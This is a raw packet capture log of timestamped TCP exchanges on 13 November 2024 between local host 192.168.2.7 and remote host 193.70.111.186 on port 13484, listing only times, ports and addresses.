Nov 13, 2024 15:02:36.382132053 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.382143021 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.382148027 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.382164001 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.382170916 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.382185936 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.382193089 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.382206917 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.382209063 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.382215023 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.382230043 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.382235050 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.382255077 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.382262945 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.382277012 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.382296085 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.382297039 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.382328987 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.382334948 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.382358074 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.382378101 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.382380962 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.382397890 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.382397890 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.382420063 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.382422924 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.382441044 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.382447958 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.382460117 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.382462025 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.382483006 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.382486105 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.382503033 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.382505894 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.382523060 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.382529974 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.382544041 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.382546902 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.382565022 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.382575035 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.382586956 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.382586956 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.382608891 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.382612944 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.382628918 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.382639885 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.382649899 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.382667065 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.382682085 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.382692099 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.387537003 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.387650967 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.387907028 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.387988091 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.388008118 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.388044119 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.388061047 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.388065100 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.388086081 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.388098001 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.388107061 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.388134003 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.388135910 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.388155937 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.388180017 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.388185978 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.388207912 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.388216972 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.388232946 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.388237000 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.388259888 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.388286114 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.388294935 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.388302088 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.388317108 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.388345957 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.388354063 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.388365984 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.388387918 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.388415098 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.388422966 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.388427973 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.388443947 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.388463974 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.388485909 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.388489962 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.388500929 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.388506889 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.388526917 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.388537884 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.388564110 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.388572931 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.388586998 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.388611078 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.388631105 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.388631105 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.388662100 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.388674021 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.388724089 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.388770103 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.388782978 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.388803005 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.388828039 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.388856888 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.388864040 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.388871908 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.388885021 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.388905048 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.388912916 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.388925076 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.388942957 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.388969898 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.389219999 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.389240980 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.389277935 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.389287949 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.389343977 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.389394045 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.389527082 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.389548063 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.389566898 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.389579058 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.389601946 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.389619112 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.389643908 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.389664888 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.389683962 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.389707088 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.389719009 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.389729977 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.389760017 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.389794111 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.389813900 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.389832973 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.389848948 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.389853001 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.389873981 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.389875889 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.389911890 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.390589952 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.390615940 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.390640020 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.390640974 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.390659094 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.390670061 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.390687943 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.390696049 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.390721083 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.390744925 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.390746117 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.390773058 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.390777111 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.390799046 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.390799999 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.390824080 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.390826941 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.390849113 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.390852928 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.390880108 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.390880108 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.390902042 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.390908957 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.390929937 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.390934944 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.390955925 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.390960932 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.390981913 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.390985966 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.391007900 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.391012907 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.391038895 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.391040087 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.391064882 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.391067028 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.391088963 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.391093016 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.391108036 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.391119003 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.391144991 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.391145945 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.391170979 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.391170979 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.391199112 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.391202927 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.391226053 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.391227007 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.391248941 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.391259909 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.391282082 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.391288996 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.391310930 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.391330957 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.391340971 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.391360998 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.391386032 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.391408920 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.391411066 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.391438961 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.391443014 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.391453981 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.391464949 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.391485929 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.391489983 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.391511917 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.391516924 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.391540051 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.391542912 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.391557932 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.391568899 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.391594887 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.391597986 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.391609907 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.391623974 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.391650915 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.391675949 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.391675949 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.391693115 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.391702890 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.391730070 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.391737938 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.391753912 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.391756058 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.391779900 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.391782999 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.391805887 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.391808033 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.391829014 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.391834021 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.391855955 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.391860962 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.391885042 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.391886950 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.391912937 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.391916037 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.391938925 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.391948938 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.391963005 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.392008066 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.392522097 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.392575979 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.392652988 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.392658949 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.392690897 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.392702103 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.392740965 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.393291950 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.393340111 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.393413067 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.393543005 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.393611908 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.393661022 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.393666983 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.393738985 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.394624949 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.394675016 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.394869089 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.395165920 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.395195007 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.395215988 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.395256042 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.395311117 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.395351887 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.395373106 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.395404100 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.395725965 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.395752907 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.395778894 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.395782948 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.395801067 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.395837069 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.396099091 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.396126986 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.396148920 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.396157980 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.396179914 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.396184921 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.396203995 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.396210909 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.396235943 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.396238089 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.396264076 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.396267891 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.396291018 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.396294117 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.396318913 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.396330118 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.396344900 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.396364927 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.396369934 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.396392107 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.396394968 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.396413088 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.396421909 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.396444082 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.396446943 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.396466017 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.396473885 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.396501064 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.396501064 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.396518946 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.396527052 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.396549940 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.396553040 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.396574020 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.396580935 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.396609068 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.396620035 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.396634102 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.396635056 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.396656990 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.396661997 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.396682024 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.396687984 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.396709919 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.396733999 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.396733999 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.396761894 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.396787882 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.396812916 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.396816015 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.396828890 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.396838903 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.396857977 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.396864891 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.396886110 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.396889925 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.396908998 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.396915913 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.396939039 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.396941900 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.396964073 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.396982908 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.396987915 CET	13484	49731	193.70.111.186	192.168.2.7
